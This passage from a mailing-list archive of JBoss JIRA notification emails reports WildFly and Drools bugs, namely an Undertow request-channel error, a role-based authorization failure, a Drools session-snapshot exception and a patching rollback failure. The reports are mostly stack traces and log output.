> 	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
> 	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
> 	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
> 	... 42 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:54:04 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Tue, 17 Sep 2013 05:54:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2090) CXF fails with
 IllegalStateException: UT000005: getRequestChannel() has already been
 called
In-Reply-To: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500798.1379354277000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500798.1379354277000.29769.1379411644020@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2090?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Alessio Soldano updated WFLY-2090:
----------------------------------

    Summary: CXF fails with IllegalStateException: UT000005: getRequestChannel() has already been called  (was: CFX fails with IllegalStateException: UT000005: getRequestChannel() has already been called)

    
> CXF fails with IllegalStateException: UT000005: getRequestChannel() has already been called
> -------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2090
>                 URL: https://issues.jboss.org/browse/WFLY-2090
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Beta1
>
>
> asoldano is seeing CXF problems with the latest modcluster undertow integration:
> 18:40:41,678 ERROR [io.undertow.request] (default task-10) Blocking request failed HttpServerExchange{ POST /jaxws-samples-asynch}: java.lang.IllegalStateException: UT000005: getRequestChannel() has already been called
> 	at io.undertow.server.HttpServerExchange.addRequestWrapper(HttpServerExchange.java:1052) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.mod_cluster.undertow.metric.BytesReceivedThreadSetupAction.setup(BytesReceivedThreadSetupAction.java:46) [wildfly-mod_cluster-undertow-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at io.undertow.servlet.core.CompositeThreadSetupAction.setup(CompositeThreadSetupAction.java:42) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:204) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:141) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2$1.handleRequest(AsyncContextImpl.java:189) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$2.run(AsyncContextImpl.java:186) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$5.run(AsyncContextImpl.java:411) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.spec.AsyncContextImpl$TaskDispatchRunnable.run(AsyncContextImpl.java:496) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:56:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 05:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.29774.1379411763587@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2089:
------------------------------

    Priority: Critical  (was: Major)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 05:58:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 05:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.29783.1379411883459@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804970#comment-12804970 ] 

Heiko Braun commented on WFLY-2089:
-----------------------------------

Update to critical since it prevents usage of the deployment interface in domain mode 
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:02:03 2013
From: jira-events at lists.jboss.org (Nedo Nedic (JIRA))
Date: Tue, 17 Sep 2013 06:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-264) JPAKnowledgeService stops to
 work suddenly
In-Reply-To: <JIRA.12500830.1379412043472@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500830.1379412043472@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500830.1379412043472.29791.1379412123454@jira02.app.mwc.hst.phx2.redhat.com>

Nedo Nedic created DROOLS-264:
---------------------------------

             Summary: JPAKnowledgeService stops to work suddenly
                 Key: DROOLS-264
                 URL: https://issues.jboss.org/browse/DROOLS-264
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
         Environment: PostgreSQL 8.4
Linux Ubuntu
JBoss 5.1.0
            Reporter: Nedo Nedic
            Assignee: Mark Proctor


>From time to time, while facts are being inserted into session and persisted in database, the following exception occurs.
The session is no more updated because SQL sentences can't be executed anymore. Sometimes, when session is restored from marshalled snapshot the same error happens.

2013-09-17 11:17:03,959 ERROR [org.drools.persistence.jpa.JpaTimerJobInstance] Unable to execute timer job!
java.lang.RuntimeException: Unable to load session snapshot
	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:96)
	at org.drools.persistence.SingleSessionCommandService.initKsession(SingleSessionCommandService.java:269)
	at org.drools.persistence.SingleSessionCommandService.execute(SingleSessionCommandService.java:369)
	at org.drools.persistence.jpa.JpaTimerJobInstance.call(JpaTimerJobInstance.java:34)
	at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:1)
	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
	at java.util.concurrent.FutureTask.run(FutureTask.java:138)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:98)
	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:207)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
	at java.lang.Thread.run(Thread.java:619)
Caused by: java.lang.NullPointerException
	at org.drools.time.impl.JDKTimerService.removeJob(JDKTimerService.java:133)
	at org.drools.common.Scheduler.removeAgendaItem(Scheduler.java:75)
	at org.drools.common.DefaultAgenda.removeScheduleItem(DefaultAgenda.java:474)
	at org.drools.common.DefaultAgenda.removeActivation(DefaultAgenda.java:349)
	at org.drools.common.DefaultAgenda.cancelActivation(DefaultAgenda.java:687)
	at org.drools.reteoo.RuleTerminalNode.retractLeftTuple(RuleTerminalNode.java:320)
	at org.drools.reteoo.SingleLeftTupleSinkAdapter.doPropagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:224)
	at org.drools.reteoo.SingleLeftTupleSinkAdapter.propagateRetractLeftTuple(SingleLeftTupleSinkAdapter.java:98)
	at org.drools.reteoo.NotNode.propagateRetractLeftTuple(NotNode.java:444)
	at org.drools.reteoo.NotNode.assertObject(NotNode.java:142)
	at org.drools.reteoo.SingleObjectSinkAdapter.propagateAssertObject(SingleObjectSinkAdapter.java:59)
	at org.drools.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:364)
	at org.drools.reteoo.ObjectTypeNode.assertObject(ObjectTypeNode.java:235)
	at org.drools.reteoo.EntryPointNode.assertObject(EntryPointNode.java:240)
	at org.drools.marshalling.impl.ProtobufInputMarshaller.assertHandleIntoOTN(ProtobufInputMarshaller.java:483)
	at org.drools.marshalling.impl.ProtobufInputMarshaller.readFactHandles(ProtobufInputMarshaller.java:459)
	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:259)
	at org.drools.marshalling.impl.ProtobufInputMarshaller.readSession(ProtobufInputMarshaller.java:116)
	at org.drools.marshalling.impl.ProtobufMarshaller.unmarshall(ProtobufMarshaller.java:143)
	at org.drools.persistence.SessionMarshallingHelper.loadSnapshot(SessionMarshallingHelper.java:88)
	... 11 more




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:19:03 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Tue, 17 Sep 2013 06:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2095) Upgrade to JBossWS 4.2.1.Final
In-Reply-To: <JIRA.12500831.1379413126322@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500831.1379413126322@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500831.1379413126322.29863.1379413143959@jira02.app.mwc.hst.phx2.redhat.com>

Alessio Soldano created WFLY-2095:
-------------------------------------

             Summary: Upgrade to JBossWS 4.2.1.Final
                 Key: WFLY-2095
                 URL: https://issues.jboss.org/browse/WFLY-2095
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Web Services
            Reporter: Alessio Soldano
            Assignee: Alessio Soldano
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 06:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1803) Failure to undo a patching
 process which fails
In-Reply-To: <JIRA.12497764.1375362634000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497764.1375362634000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497764.1375362634000.29930.1379414103675@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1803?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804985#comment-12804985 ] 

RH Bugzilla Integration commented on WFLY-1803:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 1008913|https://bugzilla.redhat.com/show_bug.cgi?id=1008913]

Scenario:
A patch tries to modify a misc file, but the process doesn't have write permissions for it (or some other kind of exception occurs, I can imagine an IOException when writing to files)
In this case, the patching process fails and is unable to recover - it leaves files which were patched successfully and doesn't revert them to original.

Suppose a patch modifies files f1 and f2. f1 comes first, and is patched successfully. f2 fails because of lack of permissions (by the way, the exception which causes this should appear in the log somewhere, but it doesn't!!).. f1 is not reverted back, because:

15:00:18,525 WARN  [org.jboss.as.patching] (management-handler-thread - 4) failed to undo change (org.jboss.as.patching.metadata.ContentModification at 1e5bcf80): java.io.FileNotFoundException: /home/jmartisk/Workspace/jboss-eap/testsuite/integration/patching/target/jbossas/.installation/patches/aed03246-56a7-406b-9dd5-add81779d951/misc/f1 (No such file or directory)
        at java.io.FileInputStream.open(Native Method) [rt.jar:1.7.0_25]
        at java.io.FileInputStream.<init>(FileInputStream.java:138) [rt.jar:1.7.0_25]
        at org.jboss.as.patching.runner.PatchContentLoader.openContentStream(PatchContentLoader.java:71) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.AbstractFileTask.apply(AbstractFileTask.java:91) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.AbstractPatchingTask.execute(AbstractPatchingTask.java:139) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:300) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:278) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.IdentityPatchContext.cleanup(IdentityPatchContext.java:142) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.IdentityPatchRunner.applyPatch(IdentityPatchRunner.java:86) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.PatchToolImpl.execute(PatchToolImpl.java:205) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.runner.PatchToolImpl.applyPatch(PatchToolImpl.java:154) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.patching.management.LocalPatchOperationStepHandler.execute(LocalPatchOperationStepHandler.java:69) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:235) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:124) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:148) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.access$300(ModelControllerClientOperationHandler.java:97) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:114) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
        at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
        at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122)

This is fixed in ER1, just cloning the issue for reference.
                
> Failure to undo a patching process which fails
> ----------------------------------------------
>
>                 Key: WFLY-1803
>                 URL: https://issues.jboss.org/browse/WFLY-1803
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Jan Martiska
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> Scenario:
> A patch tries to modify a misc file, but the process doesn't have write permissions for it (or some other kind of exception occurs, I can imagine an IOException when writing to files)
> In this case, the patching process fails and is unable to recover - it leaves files which were patched successfully and doesn't revert them to original.
> Suppose a patch modifies files f1 and f2. f1 comes first, and is patched successfully. f2 fails because of lack of permissions (by the way, the exception which causes this should appear in the log somewhere, but it doesn't!!).. f1 is not reverted back, because:
> {noformat}
> 15:00:18,525 WARN  [org.jboss.as.patching] (management-handler-thread - 4) failed to undo change (org.jboss.as.patching.metadata.ContentModification at 1e5bcf80): java.io.FileNotFoundException: /home/jmartisk/Workspace/jboss-eap/testsuite/integration/patching/target/jbossas/.installation/patches/aed03246-56a7-406b-9dd5-add81779d951/misc/f1 (No such file or directory)
>         at java.io.FileInputStream.open(Native Method) [rt.jar:1.7.0_25]
>         at java.io.FileInputStream.<init>(FileInputStream.java:138) [rt.jar:1.7.0_25]
>         at org.jboss.as.patching.runner.PatchContentLoader.openContentStream(PatchContentLoader.java:71) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.AbstractFileTask.apply(AbstractFileTask.java:91) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.AbstractPatchingTask.execute(AbstractPatchingTask.java:139) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:300) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:278) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.cleanup(IdentityPatchContext.java:142) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchRunner.applyPatch(IdentityPatchRunner.java:86) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.PatchToolImpl.execute(PatchToolImpl.java:205) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.PatchToolImpl.applyPatch(PatchToolImpl.java:154) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.management.LocalPatchOperationStepHandler.execute(LocalPatchOperationStepHandler.java:69) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
